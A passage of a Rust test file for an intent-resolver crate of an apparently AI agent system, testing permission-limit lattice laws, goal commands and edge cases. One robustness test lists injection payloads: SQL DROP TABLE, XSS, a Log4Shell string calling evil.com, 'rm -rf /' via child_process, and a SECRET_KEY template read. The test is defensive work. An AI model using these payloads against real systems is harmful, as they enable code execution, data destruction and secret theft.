- 2001
attendance, - 2002
autonomy - 2003
); - 2004
checked += 1; - 2005
} - 2006
} - 2007
} - 2008
} - 2009
} - 2010
} - 2011
} - 2012
} - 2013
assert_eq!(checked, 46_080); - 2014
} - 2015
- 2016
#[test] - 2017
fn narrowing_invariant_full_combinatorial_with_envelope() { - 2018
let baseline = Limits::unrestricted(); - 2019
let mut checked = 0u64; - 2020
for &act in &Act::ALL { - 2021
for &horizon in &Horizon::ALL { - 2022
for &stakes in &Stakes::ALL { - 2023
for &evidence in &Evidence::ALL { - 2024
for &clarity in &Clarity::ALL { - 2025
for &attendance in &Attendance::ALL { - 2026
for &autonomy in &Autonomy::ALL { - 2027
for &slice in &[true, false] { - 2028
let mut r = reading_simple(act, horizon, stakes, evidence); - 2029
r.clarity = clarity; - 2030
r.attendance = attendance; - 2031
r.confidence = 0.9; - 2032
r.axis_confidence = Confidences { - 2033
act: 0.9, - 2034
horizon: 0.9, - 2035
stakes: 0.9, - 2036
evidence: 0.9, - 2037
}; - 2038
let auth = authority_of(autonomy, attendance); - 2039
let engagement = derive(&r, &auth, slice); - 2040
assert!( - 2041
engagement.limits.is_at_most(&baseline), - 2042
"widened: {:?}/{:?}/{:?}/{:?}/{:?}/{:?}/{:?} slice={slice}", - 2043
act, - 2044
horizon, - 2045
stakes, - 2046
evidence, - 2047
clarity, - 2048
attendance, - 2049
autonomy - 2050
); - 2051
checked += 1; - 2052
} - 2053
} - 2054
} - 2055
} - 2056
} - 2057
} - 2058
} - 2059
} - 2060
assert_eq!(checked, 46_080); - 2061
} - 2062
- 2063
#[test] - 2064
fn engagement_meet_never_widens_either_operand() { - 2065
let mut readings = Vec::new(); - 2066
for &act in &Act::ALL { - 2067
for &horizon in &[Horizon::Turn, Horizon::Session, Horizon::Durable] { - 2068
for &stakes in &[Stakes::Reversible, Stakes::Costly] { - 2069
for &evidence in &[Evidence::None, Evidence::Cited, Evidence::Verified] { - 2070
for slice in [true, false] { - 2071
let r = reading_simple(act, horizon, stakes, evidence); - 2072
readings.push(derive(&r, &Authority::default(), slice)); - 2073
} - 2074
} - 2075
} - 2076
} - 2077
} - 2078
let baseline = Limits::unrestricted(); - 2079
let mut tested = 0u64; - 2080
for i in 0..readings.len() { - 2081
for j in i..readings.len() { - 2082
let met = readings[i].limits.meet(&readings[j].limits); - 2083
assert!(met.is_at_most(&readings[i].limits)); - 2084
assert!(met.is_at_most(&readings[j].limits)); - 2085
assert!(met.is_at_most(&baseline)); - 2086
tested += 1; - 2087
} - 2088
} - 2089
assert!(tested > 0); - 2090
} - 2091
- 2092
// ================================================================ - 2093
// Part 10: Lattice law verification - 2094
// ================================================================ - 2095
- 2096
#[test] - 2097
fn lattice_meet_is_idempotent() { - 2098
for &act in &Act::ALL { - 2099
for &horizon in &Horizon::ALL { - 2100
for &stakes in &Stakes::ALL { - 2101
for &evidence in &Evidence::ALL { - 2102
let r = reading_simple(act, horizon, stakes, evidence); - 2103
for &autonomy in &Autonomy::ALL { - 2104
let auth = authority_of(autonomy, Attendance::Interactive); - 2105
for slice in [true, false] { - 2106
let e = derive(&r, &auth, slice); - 2107
assert_eq!(e.limits.meet(&e.limits), e.limits); - 2108
} - 2109
} - 2110
} - 2111
} - 2112
} - 2113
} - 2114
} - 2115
- 2116
#[test] - 2117
fn lattice_meet_is_commutative() { - 2118
let readings: Vec<Reading> = Act::ALL - 2119
.iter() - 2120
.flat_map(|&act| { - 2121
Horizon::ALL.iter().flat_map(move |&h| { - 2122
Stakes::ALL.iter().flat_map(move |&s| { - 2123
Evidence::ALL - 2124
.iter() - 2125
.map(move |&e| reading_simple(act, h, s, e)) - 2126
}) - 2127
}) - 2128
}) - 2129
.collect(); - 2130
let engagements: Vec<Engagement> = readings - 2131
.iter() - 2132
.map(|r| derive(r, &Authority::default(), true)) - 2133
.collect(); - 2134
for i in 0..engagements.len() { - 2135
for j in (i + 1)..engagements.len().min(i + 20) { - 2136
let a = &engagements[i]; - 2137
let b = &engagements[j]; - 2138
assert_eq!(a.limits.meet(&b.limits), b.limits.meet(&a.limits)); - 2139
} - 2140
} - 2141
} - 2142
- 2143
#[test] - 2144
fn lattice_meet_is_associative() { - 2145
let mut limits_list = Vec::new(); - 2146
for &act in &Act::ALL { - 2147
for &stakes in &Stakes::ALL { - 2148
let r = reading_simple(act, Horizon::Session, stakes, Evidence::None); - 2149
limits_list.push(derive(&r, &Authority::default(), true).limits); - 2150
} - 2151
} - 2152
for i in 0..limits_list.len() { - 2153
for j in (i + 1)..limits_list.len().min(i + 10) { - 2154
for k in (j + 1)..limits_list.len().min(j + 10) { - 2155
let a = &limits_list[i]; - 2156
let b = &limits_list[j]; - 2157
let c = &limits_list[k]; - 2158
let left = a.meet(b).meet(c); - 2159
let right = a.meet(&b.meet(c)); - 2160
assert_eq!(left, right, "meet not associative at {},{},{}", i, j, k); - 2161
} - 2162
} - 2163
} - 2164
} - 2165
- 2166
#[test] - 2167
fn lattice_unrestricted_is_identity() { - 2168
let samples: Vec<Limits> = Act::ALL - 2169
.iter() - 2170
.flat_map(|&act| { - 2171
Stakes::ALL.iter().map(move |&stakes| { - 2172
let r = reading_simple(act, Horizon::Session, stakes, Evidence::None); - 2173
derive(&r, &Authority::default(), true).limits - 2174
}) - 2175
}) - 2176
.collect(); - 2177
for limits in &samples { - 2178
assert_eq!(limits.meet(&Limits::unrestricted()), *limits); - 2179
assert_eq!(Limits::unrestricted().meet(limits), *limits); - 2180
assert!(limits.is_at_most(&Limits::unrestricted())); - 2181
} - 2182
} - 2183
- 2184
#[test] - 2185
fn lattice_widening_any_field_is_detected() { - 2186
let narrow = Limits { - 2187
required_domains: DomainSet::only(["filesystem"]), - 2188
spend_ceiling_usd: Some(0.5), - 2189
approval_ceiling: ApprovalCeiling::Ask, - 2190
permission_ceiling: PermissionCeiling::ReadOnly, - 2191
min_satisfaction: Satisfaction::Attested, - 2192
required_modalities: BTreeSet::from([Modality::Image]), - 2193
}; - 2194
let widened = vec![ - 2195
Limits { - 2196
required_domains: DomainSet::All, - 2197
..narrow.clone() - 2198
}, - 2199
Limits { - 2200
spend_ceiling_usd: Some(5.0), - 2201
..narrow.clone() - 2202
}, - 2203
Limits { - 2204
approval_ceiling: ApprovalCeiling::AutoApprove, - 2205
..narrow.clone() - 2206
}, - 2207
Limits { - 2208
permission_ceiling: PermissionCeiling::FullAccess, - 2209
..narrow.clone() - 2210
}, - 2211
Limits { - 2212
min_satisfaction: Satisfaction::Asserted, - 2213
..narrow.clone() - 2214
}, - 2215
Limits { - 2216
required_modalities: BTreeSet::new(), - 2217
..narrow.clone() - 2218
}, - 2219
]; - 2220
for candidate in &widened { - 2221
assert!( - 2222
!candidate.is_at_most(&narrow), - 2223
"widening went undetected: {:?}", - 2224
candidate - 2225
); - 2226
} - 2227
} - 2228
- 2229
#[test] - 2230
fn domain_set_meet_and_at_most_laws() { - 2231
let all = DomainSet::All; - 2232
let only_ab = DomainSet::only(["a", "b"]); - 2233
let only_bc = DomainSet::only(["b", "c"]); - 2234
let only_b = DomainSet::only(["b"]); - 2235
- 2236
assert_eq!(all.meet(&only_ab), only_ab); - 2237
assert_eq!(only_ab.meet(&all), only_ab); - 2238
assert_eq!(only_ab.meet(&only_bc), only_b); - 2239
- 2240
assert!(only_ab.is_at_most(&all)); - 2241
assert!(only_b.is_at_most(&only_ab)); - 2242
assert!(!only_ab.is_at_most(&only_b)); - 2243
assert!(!all.is_at_most(&only_ab)); - 2244
} - 2245
- 2246
// ================================================================ - 2247
// Part 11: Edge cases and adversarial inputs - 2248
// ================================================================ - 2249
- 2250
#[test] - 2251
fn edge_empty_string_does_not_crash() { - 2252
let extraction = extract(&req("")); - 2253
assert!(extraction.act.winner().is_none()); - 2254
let intent = resolve_text(""); - 2255
assert!(intent.engagement.limits.is_at_most(&Limits::unrestricted())); - 2256
} - 2257
- 2258
#[test] - 2259
fn edge_whitespace_only_does_not_crash() { - 2260
let extraction = extract(&req(" \n\t ")); - 2261
assert!(extraction.act.winner().is_none()); - 2262
let intent = resolve_text(" \n\t "); - 2263
assert!(intent.engagement.limits.is_at_most(&Limits::unrestricted())); - 2264
} - 2265
- 2266
#[test] - 2267
fn edge_very_long_input_does_not_crash() { - 2268
let long = "deploy to production ".repeat(500); - 2269
let extraction = extract(&req(&long)); - 2270
assert_eq!( - 2271
extraction.act.winner().map(|w| w.0), - 2272
Some(Act::Operate), - 2273
"long input with 'deploy' should still read as Operate" - 2274
); - 2275
let intent = resolve_text(&long); - 2276
assert!(intent.engagement.limits.is_at_most(&Limits::unrestricted())); - 2277
} - 2278
- 2279
#[test] - 2280
fn edge_unicode_input_does_not_crash() { - 2281
let cases: &[&str] = &[ - 2282
"你好", - 2283
"Bonjour", - 2284
"こんにちは", - 2285
"🚀 deploy", - 2286
"café menu", - 2287
"naïve résumé", - 2288
"Zürich", - 2289
"Москва", - 2290
"🎉 party", - 2291
"🎉", - 2292
]; - 2293
for text in cases { - 2294
let extraction = extract(&req(text)); - 2295
let _ = extraction.act.winner(); - 2296
let intent = resolve_text(text); - 2297
assert!(intent.engagement.limits.is_at_most(&Limits::unrestricted())); - 2298
} - 2299
} - 2300
- 2301
#[test] - 2302
fn edge_code_blocks_are_handled() { - 2303
let text = "fix this code:\n```rust\nfn broken() { panic!() }\n```"; - 2304
let extraction = extract(&req(text)); - 2305
assert!( - 2306
extraction - 2307
.act - 2308
.ranked() - 2309
.iter() - 2310
.any(|(a, _)| *a == Act::Modify) - 2311
); - 2312
} - 2313
- 2314
#[test] - 2315
fn edge_urls_are_detected() { - 2316
let text = "analyze https://example.com/data"; - 2317
let extraction = extract(&req(text)); - 2318
assert!( - 2319
extraction - 2320
.act - 2321
.ranked() - 2322
.iter() - 2323
.any(|(a, _)| *a == Act::Analyze) - 2324
); - 2325
let has_url_signal = extraction.signals.iter().any(|s| s.name == "url"); - 2326
assert!(has_url_signal, "URL should produce a structural signal"); - 2327
} - 2328
- 2329
#[test] - 2330
fn edge_file_paths_are_detected() { - 2331
let cases: &[&str] = &[ - 2332
"edit src/main.rs", - 2333
"read config/app.toml", - 2334
"check tests/parser.rs", - 2335
"find docs/README.md", - 2336
]; - 2337
for text in cases { - 2338
let extraction = extract(&req(text)); - 2339
let has_path_signal = extraction.signals.iter().any(|s| s.name == "path-mention"); - 2340
assert!( - 2341
has_path_signal, - 2342
"`{}` should produce a path-mention signal", - 2343
text - 2344
); - 2345
} - 2346
} - 2347
- 2348
#[test] - 2349
fn edge_negation_does_not_invert_act() { - 2350
let text = "don't deploy to production"; - 2351
let extraction = extract(&req(text)); - 2352
assert!( - 2353
extraction - 2354
.act - 2355
.ranked() - 2356
.iter() - 2357
.any(|(a, _)| *a == Act::Operate), - 2358
"negation should not suppress the act signal entirely" - 2359
); - 2360
} - 2361
- 2362
#[test] - 2363
fn edge_multilingual_text_does_not_crash() { - 2364
let cases: &[&str] = &[ - 2365
"deploy auf die produktion", - 2366
"fix the bug et déployez le fix", - 2367
"réparer le bug and deploy to prod", - 2368
"部署到生产环境", - 2369
"¿cómo funciona esto?", - 2370
]; - 2371
for text in cases { - 2372
let extraction = extract(&req(text)); - 2373
let _ = extraction.act.winner(); - 2374
let intent = resolve_text(text); - 2375
assert!(intent.engagement.limits.is_at_most(&Limits::unrestricted())); - 2376
} - 2377
} - 2378
- 2379
#[test] - 2380
fn edge_code_injection_in_text_does_not_crash() { - 2381
let cases: &[&str] = &[ - 2382
"'; DROP TABLE sessions; --", - 2383
"<script>alert('xss')</script>", - 2384
"${jndi:ldap://evil.com/exploit}", - 2385
"eval('rm -rf /')", - 2386
"require('child_process').exec('rm -rf /')", - 2387
"{{config.SECRET_KEY}}", - 2388
]; - 2389
for text in cases { - 2390
let extraction = extract(&req(text)); - 2391
let _ = extraction.act.winner(); - 2392
let intent = resolve_text(text); - 2393
assert!(intent.engagement.limits.is_at_most(&Limits::unrestricted())); - 2394
} - 2395
} - 2396
- 2397
#[test] - 2398
fn edge_no_signals_yields_low_confidence() { - 2399
// Text between 25 and 399 chars with no lexicon match: no structural - 2400
// horizon signal (length:short needs <=24, length:long needs >=400), - 2401
// no act verb, no horizon phrase. - 2402
let extraction = extract(&req("supercalifragilistic_expialidocious_baz_qux")); - 2403
assert!(extraction.act.winner().is_none()); - 2404
assert!( - 2405
extraction.horizon.winner().is_none(), - 2406
"longer gibberish should have no horizon winner, got {:?}", - 2407
extraction.horizon.winner() - 2408
); - 2409
} - 2410
- 2411
#[test] - 2412
fn edge_case_insensitive_matching() { - 2413
let lower = extract(&req("DEPLOY TO PRODUCTION")); - 2414
let upper = extract(&req("deploy to production")); - 2415
assert_eq!( - 2416
lower.act.winner().map(|w| w.0), - 2417
upper.act.winner().map(|w| w.0) - 2418
); - 2419
assert_eq!( - 2420
lower.stakes_from_words.winner().map(|w| w.0), - 2421
upper.stakes_from_words.winner().map(|w| w.0) - 2422
); - 2423
} - 2424
- 2425
#[test] - 2426
fn edge_attachment_modalities_aggregate() { - 2427
let attachments = vec![ - 2428
Attachment { - 2429
modality: Modality::Image, - 2430
name: "screenshot.png".into(), - 2431
}, - 2432
Attachment { - 2433
modality: Modality::Audio, - 2434
name: "recording.wav".into(), - 2435
}, - 2436
]; - 2437
let mut request = req("analyze this"); - 2438
request.attachments = &attachments; - 2439
let extraction = extract(&request); - 2440
assert!(extraction.input_modalities.contains(&Modality::Image)); - 2441
assert!(extraction.input_modalities.contains(&Modality::Audio)); - 2442
assert!(extraction.input_modalities.contains(&Modality::Text)); - 2443
} - 2444
- 2445
#[test] - 2446
fn edge_previous_act_adds_continuity_signal() { - 2447
let mut request = req("check the logs"); - 2448
request.history.previous_act = Some(Act::Modify); - 2449
request.history.turn_index = 2; - 2450
let extraction = extract(&request); - 2451
let has_continuity = extraction - 2452
.signals - 2453
.iter() - 2454
.any(|s| s.name.starts_with("continues:")); - 2455
assert!( - 2456
has_continuity, - 2457
"previous act should add a continuity signal" - 2458
); - 2459
} - 2460
- 2461
#[test] - 2462
fn edge_repo_detection_adds_domain() { - 2463
let extraction = extract(&req_full("fix the bug", Surface::Cli, true, false, None, 0)); - 2464
assert!( - 2465
extraction - 2466
.domains_from_environment - 2467
.contains(&"engineering".to_string()), - 2468
"repo should add 'engineering' as an environment-derived domain" - 2469
); - 2470
} - 2471
- 2472
/// Environment signals apply only to effectful acts (docs/design/ - 2473
/// 47-commitment-kernel.md, "a repository mid-edit does not make answering - 2474
/// a question risky"). A git repository says nothing about the subject of a - 2475
/// non-effectful request asked inside it, so `engineering` must not reach - 2476
/// the resolved reading for a poem just because the workspace is a repo. - 2477
#[test] - 2478
fn a_git_repo_does_not_tag_engineering_on_a_non_effectful_request() { - 2479
let intent = resolve( - 2480
&req_full( - 2481
"write a short poem about the sea", - 2482
Surface::Cli, - 2483
true, - 2484
false, - 2485
None, - 2486
0, - 2487
), - 2488
&Declared::default(), - 2489
&Authority::default(), - 2490
&ResolverConfig::default(), - 2491
) - 2492
.intent(); - 2493
assert_eq!(intent.reading.act, Act::Author); - 2494
assert!(!intent.reading.act.is_effectful()); - 2495
assert!( - 2496
!intent.reading.domains.contains("engineering"), - 2497
"domains: {:?}", - 2498
intent.reading.domains - 2499
); - 2500
} - 2501
- 2502
#[test] - 2503
fn edge_dirty_tree_adds_stakes_for_effectful_acts() { - 2504
let extraction = extract(&req_full( - 2505
"refactor the parser", - 2506
Surface::Cli, - 2507
true, - 2508
true, - 2509
None, - 2510
0, - 2511
)); - 2512
assert!(extraction.stakes_from_environment.winner().is_some()); - 2513
- 2514
let intent = resolve( - 2515
&req_full( - 2516
"what is the meaning of life", - 2517
Surface::Cli, - 2518
true, - 2519
true, - 2520
None, - 2521
0, - 2522
), - 2523
&Declared::default(), - 2524
&Authority::default(), - 2525
&ResolverConfig::default(), - 2526
) - 2527
.intent(); - 2528
assert_eq!( - 2529
intent.reading.stakes, - 2530
Stakes::Inert, - 2531
"dirty tree should not raise stakes for non-effectful acts" - 2532
); - 2533
} - 2534
- 2535
#[test] - 2536
fn edge_empty_attachments_does_not_add_image_modality() { - 2537
let intent = resolve_text("what is 2 + 2"); - 2538
assert!(intent.reading.input_modalities.contains(&Modality::Text)); - 2539
assert!(!intent.reading.input_modalities.contains(&Modality::Image)); - 2540
} - 2541
- 2542
// ================================================================ - 2543
// Part 12: Surface and attendance propagation - 2544
// ================================================================ - 2545
- 2546
#[test] - 2547
fn surface_attendance_mapping() { - 2548
assert_eq!(Surface::Cron.implied_attendance(), Attendance::Unattended); - 2549
assert_eq!(Surface::Cli.implied_attendance(), Attendance::Interactive); - 2550
assert_eq!( - 2551
Surface::Desktop.implied_attendance(), - 2552
Attendance::Interactive - 2553
); - 2554
assert_eq!(Surface::Chat.implied_attendance(), Attendance::Supervised); - 2555
assert_eq!(Surface::Server.implied_attendance(), Attendance::Supervised); - 2556
assert_eq!( - 2557
Surface::Heartbeat.implied_attendance(), - 2558
Attendance::Unattended - 2559
); - 2560
assert_eq!(Surface::Worker.implied_attendance(), Attendance::Unattended); - 2561
} - 2562
- 2563
#[test] - 2564
fn surface_parse_accepts_aliases() { - 2565
assert_eq!(Surface::parse("terminal"), Some(Surface::Cli)); - 2566
assert_eq!(Surface::parse("telegram"), Some(Surface::Chat)); - 2567
assert_eq!(Surface::parse("task"), Some(Surface::Cron)); - 2568
assert_eq!(Surface::parse("tauri"), Some(Surface::Desktop)); - 2569
assert_eq!(Surface::parse("unknown"), None); - 2570
} - 2571
- 2572
#[test] - 2573
fn attendance_override_beats_surface() { - 2574
let mut request = req("do something"); - 2575
request.surface = Surface::Cron; - 2576
request.attendance_override = Some(Attendance::Interactive); - 2577
assert_eq!(extract(&request).attendance, Attendance::Interactive); - 2578
- 2579
let mut request2 = req("do something"); - 2580
request2.surface = Surface::Cli; - 2581
request2.attendance_override = Some(Attendance::Unattended); - 2582
assert_eq!(extract(&request2).attendance, Attendance::Unattended); - 2583
} - 2584
- 2585
// ================================================================ - 2586
// Part 13: Deixis resolution - 2587
// ================================================================ - 2588
- 2589
#[test] - 2590
fn deictic_resolution_with_history() { - 2591
let mut request = req("fix this"); - 2592
request.history.turn_index = 3; - 2593
request.history.previous_act = Some(Act::Modify); - 2594
let extraction = extract(&request); - 2595
let clarity = extraction.clarity.winner().map(|w| w.0); - 2596
assert_ne!( - 2597
Some(Clarity::Ambiguous), - 2598
clarity, - 2599
"with history, 'this' should not be ambiguous" - 2600
); - 2601
} - 2602
- 2603
/// An attachment is something to point at: "what is this" with a screenshot - 2604
/// attached refers to the screenshot. - 2605
#[test] - 2606
fn deictic_clear_with_an_attachment() { - 2607
let attachments = vec![Attachment { - 2608
modality: Modality::Image, - 2609
name: "screenshot.png".into(), - 2610
}]; - 2611
let mut request = req("what is this"); - 2612
request.attachments = &attachments; - 2613
let extraction = extract(&request); - 2614
let clarity = extraction.clarity.winner().map(|w| w.0); - 2615
assert_eq!( - 2616
Some(Clarity::Clear), - 2617
clarity, - 2618
"with an attachment, 'this' should be clear" - 2619
); - 2620
} - 2621
- 2622
/// `that` as a relative pronoun points at nothing: only a request that ends - 2623
/// on a bare pronoun is missing its object. - 2624
#[test] - 2625
fn deictic_relative_pronouns_are_not_ambiguous() { - 2626
for text in [ - 2627
"Write a function that parses ISO dates", - 2628
"find the test that fails on CI", - 2629
"is there a way to cache the build", - 2630
] { - 2631
assert_ne!( - 2632
extract(&req(text)).clarity.winner().map(|w| w.0), - 2633
Some(Clarity::Ambiguous), - 2634
"`{text}`" - 2635
); - 2636
} - 2637
} - 2638
- 2639
// ================================================================ - 2640
// Part 14: Goal classification - 2641
// ================================================================ - 2642
- 2643
#[test] - 2644
fn goal_relation_follows_explicit_commands_only() { - 2645
use vak_intent::goal::goal_relation; - 2646
use vak_intent::outcome::parse_command; - 2647
let cases: &[(Option<u64>, &str, GoalRelation)] = &[ - 2648
(Some(1), "/status", GoalRelation::Status), - 2649
(Some(1), "status", GoalRelation::Status), - 2650
(Some(1), "/pause", GoalRelation::Pauses), - 2651
(Some(1), "pause", GoalRelation::Pauses), - 2652
(Some(1), "/resume", GoalRelation::Resumes), - 2653
(Some(1), "cancel", GoalRelation::Cancels), - 2654
(Some(1), "Stop.", GoalRelation::Cancels), - 2655
( - 2656
Some(1), - 2657
"/goal fix use the other approach", - 2658
GoalRelation::Corrects, - 2659
), - 2660
( - 2661
Some(1), - 2662
"/goal replace just add the index", - 2663
GoalRelation::Replaces, - 2664
), - 2665
// Natural language that used to be a correction/replacement/cancel - 2666
// is an addition to the active goal now. - 2667
(Some(1), "actually do it differently", GoalRelation::AddsTo), - 2668
( - 2669
Some(1), - 2670
"forget that, do something else instead", - 2671
GoalRelation::AddsTo, - 2672
), - 2673
(Some(1), "stop using semicolons", GoalRelation::AddsTo), - 2674
(Some(1), "pause the work", GoalRelation::AddsTo), - 2675
(Some(1), "how is it going", GoalRelation::AddsTo), - 2676
(None, "actually do it differently", GoalRelation::New), - 2677
(None, "/goal replace whatever", GoalRelation::New), - 2678
(None, "also include a CSV", GoalRelation::New), - 2679
]; - 2680
let live = GoalState::from_updates([GoalUpdate { - 2681
revision: 1, - 2682
relation: GoalRelation::New, - 2683
request: "prepare the briefing".into(), - 2684
supersedes_revision: None, - 2685
explicit: false, - 2686
}]); - 2687
for (active, text, expected) in cases { - 2688
let goal = active.and(live.as_ref()); - 2689
let result = goal_relation(parse_command(text).as_ref(), goal); - 2690
assert_eq!( - 2691
result, *expected, - 2692
"active={:?} text=`{}` should be {:?}", - 2693
active, text, expected - 2694
); - 2695
} - 2696
} - 2697
- 2698
#[test] - 2699
fn goal_state_projection_from_updates() { - 2700
let state = GoalState::from_updates([ - 2701
GoalUpdate { - 2702
revision: 1, - 2703
relation: GoalRelation::New, - 2704
request: "prepare a briefing".into(), - 2705
supersedes_revision: None, - 2706
explicit: false, - 2707
}, - 2708
GoalUpdate { - 2709
revision: 2, - 2710
relation: GoalRelation::AddsTo, - 2711
request: "include sources".into(), - 2712
supersedes_revision: None, - 2713
explicit: false, - 2714
}, - 2715
GoalUpdate { - 2716
revision: 3, - 2717
relation: GoalRelation::Replaces, - 2718
request: "just add an index instead".into(), - 2719
supersedes_revision: Some(1), - 2720
explicit: false, - 2721
}, - 2722
GoalUpdate { - 2723
revision: 4, - 2724
relation: GoalRelation::Status, - 2725
request: "status".into(), - 2726
supersedes_revision: None, - 2727
explicit: false, - 2728
}, - 2729
]); - 2730
assert!(state.is_some()); - 2731
let state = state.unwrap(); - 2732
assert_eq!(state.objective, "just add an index instead"); - 2733
assert!(state.additions.is_empty()); - 2734
assert_eq!(state.superseded_revisions, vec![1]); - 2735
assert_eq!(state.control, GoalControlState::Active); - 2736
} - 2737
- 2738
#[test] - 2739
fn goal_projections_control_states() { - 2740
let state = GoalState::from_updates([ - 2741
GoalUpdate { - 2742
revision: 1, - 2743
relation: GoalRelation::New, - 2744
request: "task".into(), - 2745
supersedes_revision: None, - 2746
explicit: false, - 2747
}, - 2748
GoalUpdate { - 2749
revision: 2, - 2750
relation: GoalRelation::Pauses, - 2751
request: "pause".into(), - 2752
supersedes_revision: None, - 2753
explicit: false, - 2754
}, - 2755
]); - 2756
assert!(state.is_some()); - 2757
assert_eq!(state.unwrap().control, GoalControlState::Paused); - 2758
- 2759
let state = GoalState::from_updates([ - 2760
GoalUpdate { - 2761
revision: 1, - 2762
relation: GoalRelation::New, - 2763
request: "task".into(), - 2764
supersedes_revision: None, - 2765
explicit: false, - 2766
}, - 2767
GoalUpdate { - 2768
revision: 2, - 2769
relation: GoalRelation::Pauses, - 2770
request: "pause".into(), - 2771
supersedes_revision: None, - 2772
explicit: false, - 2773
}, - 2774
GoalUpdate { - 2775
revision: 3, - 2776
relation: GoalRelation::Resumes, - 2777
request: "resume".into(), - 2778
supersedes_revision: None, - 2779
explicit: false, - 2780
}, - 2781
]); - 2782
assert!(state.is_some()); - 2783
assert_eq!(state.unwrap().control, GoalControlState::Active); - 2784
- 2785
let state = GoalState::from_updates([ - 2786
GoalUpdate { - 2787
revision: 1, - 2788
relation: GoalRelation::New, - 2789
request: "task".into(), - 2790
supersedes_revision: None, - 2791
explicit: false, - 2792
}, - 2793
GoalUpdate { - 2794
revision: 2, - 2795
relation: GoalRelation::Cancels, - 2796
request: "cancel".into(), - 2797
supersedes_revision: None, - 2798
explicit: false, - 2799
}, - 2800
]); - 2801
assert!(state.is_some()); - 2802
assert_eq!(state.unwrap().control, GoalControlState::Cancelled); - 2803
} - 2804
- 2805
// ================================================================ - 2806
// Part 15: Outcome evaluation - 2807
// ================================================================ - 2808
- 2809
#[test] - 2810
fn outcome_completion_verdict_matrix() { - 2811
let reading = Reading { - 2812
act: Act::Modify, - 2813
evidence: Evidence::Cited, - 2814
..Reading::general() - 2815
}; - 2816
let spec = OutcomeSpec::from_reading("research", &reading, 1); - 2817
- 2818
let all_met = vec![ - 2819
RequirementEvaluation { - 2820
requirement_id: "deliverable-1".into(), - 2821
status: RequirementStatus::Met, - 2822
reason: "content exists".into(), - 2823
}, - 2824
RequirementEvaluation { - 2825
requirement_id: "evidence-1".into(), - 2826
status: RequirementStatus::Met, - 2827
reason: "sources cited".into(), - 2828
}, - 2829
]; - 2830
assert_eq!( - 2831
evaluate_completion(OutcomeStatus::Produced, &all_met, &spec), - 2832
CompletionVerdict::Complete - 2833
); - 2834
- 2835
let partial = vec![ - 2836
RequirementEvaluation { - 2837
requirement_id: "deliverable-1".into(), - 2838
status: RequirementStatus::Met, - 2839
reason: "content exists".into(), - 2840
}, - 2841
RequirementEvaluation { - 2842
requirement_id: "evidence-1".into(), - 2843
status: RequirementStatus::Unmet, - 2844
reason: "no evidence".into(), - 2845
}, - 2846
]; - 2847
assert_eq!( - 2848
evaluate_completion(OutcomeStatus::Produced, &partial, &spec), - 2849
CompletionVerdict::Partial - 2850
); - 2851
- 2852
let unknown_evals = vec![ - 2853
RequirementEvaluation { - 2854
requirement_id: "deliverable-1".into(), - 2855
status: RequirementStatus::Met, - 2856
reason: "content exists".into(), - 2857
}, - 2858
RequirementEvaluation { - 2859
requirement_id: "evidence-1".into(), - 2860
status: RequirementStatus::Unknown, - 2861
reason: "sources cited but unverified".into(), - 2862
}, - 2863
]; - 2864
assert_eq!( - 2865
evaluate_completion(OutcomeStatus::Produced, &unknown_evals, &spec), - 2866
CompletionVerdict::Unknown - 2867
); - 2868
- 2869
assert_eq!( - 2870
evaluate_completion(OutcomeStatus::Failed, &[], &spec), - 2871
CompletionVerdict::Failed - 2872
); - 2873
assert_eq!( - 2874
evaluate_completion(OutcomeStatus::Cancelled, &[], &spec), - 2875
CompletionVerdict::Cancelled - 2876
); - 2877
} - 2878
- 2879
#[test] - 2880
fn outcome_evaluation_refusal_is_not_met() { - 2881
let reading = Reading { - 2882
act: Act::Author, - 2883
evidence: Evidence::None, - 2884
..Reading::general() - 2885
}; - 2886
let mut spec = OutcomeSpec::from_reading("create a report", &reading, 1); - 2887
spec.merge_declared_requirement("report", "deliverable", "create report.md", "must", None) - 2888
.unwrap(); - 2889
- 2890
let evaluations = evaluate_requirements(&spec, Some("I cannot do that.")); - 2891
assert_eq!(evaluations[1].status, RequirementStatus::Unknown); - 2892
assert_eq!( - 2893
evaluate_completion(OutcomeStatus::Produced, &evaluations, &spec), - 2894
CompletionVerdict::Unknown - 2895
); - 2896
} - 2897
- 2898
#[test] - 2899
fn outcome_spec_from_reading_preserves_evidence_max_age() { - 2900
let cases: &[(Evidence, Option<i64>)] = &[ - 2901
(Evidence::None, None), - 2902
(Evidence::Cited, Some(86_400)), - 2903
(Evidence::Verified, Some(3_600)), - 2904
(Evidence::Audited, Some(3_600)), - 2905
]; - 2906
for (evidence, expected_max_age) in cases { - 2907
let reading = Reading { - 2908
act: Act::Modify, - 2909
evidence: *evidence, - 2910
..Reading::general() - 2911
}; - 2912
let spec = OutcomeSpec::from_reading("test", &reading, 1); - 2913
assert_eq!(spec.evidence_max_age_secs, *expected_max_age); - 2914
} - 2915
} - 2916
- 2917
#[test] - 2918
fn outcome_evidence_state_age_based() { - 2919
let now = chrono::Utc::now(); - 2920
assert_eq!( - 2921
evidence_state_from_age( - 2922
now, - 2923
now - chrono::Duration::hours(1), - 2924
chrono::Duration::hours(2) - 2925
), - 2926
EvidenceState::Fresh - 2927
); - 2928
assert_eq!( - 2929
evidence_state_from_age( - 2930
now, - 2931
now - chrono::Duration::hours(3), - 2932
chrono::Duration::hours(2) - 2933
), - 2934
EvidenceState::Stale - 2935
); - 2936
assert_eq!( - 2937
evidence_state_from_age( - 2938
now, - 2939
now + chrono::Duration::minutes(1), - 2940
chrono::Duration::hours(2) - 2941
), - 2942
EvidenceState::Fresh - 2943
); - 2944
} - 2945
- 2946
#[test] - 2947
fn outcome_human_review_state() { - 2948
assert_eq!( - 2949
human_review_state(CompletionVerdict::Complete), - 2950
"not_required" - 2951
); - 2952
assert_eq!( - 2953
human_review_state(CompletionVerdict::Partial), - 2954
"recommended" - 2955
); - 2956
assert_eq!( - 2957
human_review_state(CompletionVerdict::Unknown), - 2958
"recommended" - 2959
); - 2960
assert_eq!( - 2961
human_review_state(CompletionVerdict::Failed), - 2962
"required_for_recovery" - 2963
); - 2964
assert_eq!( - 2965
human_review_state(CompletionVerdict::Cancelled), - 2966
"required_for_recovery" - 2967
); - 2968
} - 2969
- 2970
#[test] - 2971
fn outcome_extension_requirements_validation() { - 2972
let mut spec = OutcomeSpec::from_reading("make a plan", &Reading::general(), 1); - 2973
assert!( - 2974
spec.merge_declared_requirement( - 2975
"plan-structure", - 2976
"constraint", - 2977
"include assumptions and next steps", - 2978
"must", - 2979
Some("primary".into()) - 2980
) - 2981
.is_ok() - 2982
); - 2983
assert!( - 2984
spec.merge_declared_requirement("", "constraint", "x", "must", None) - 2985
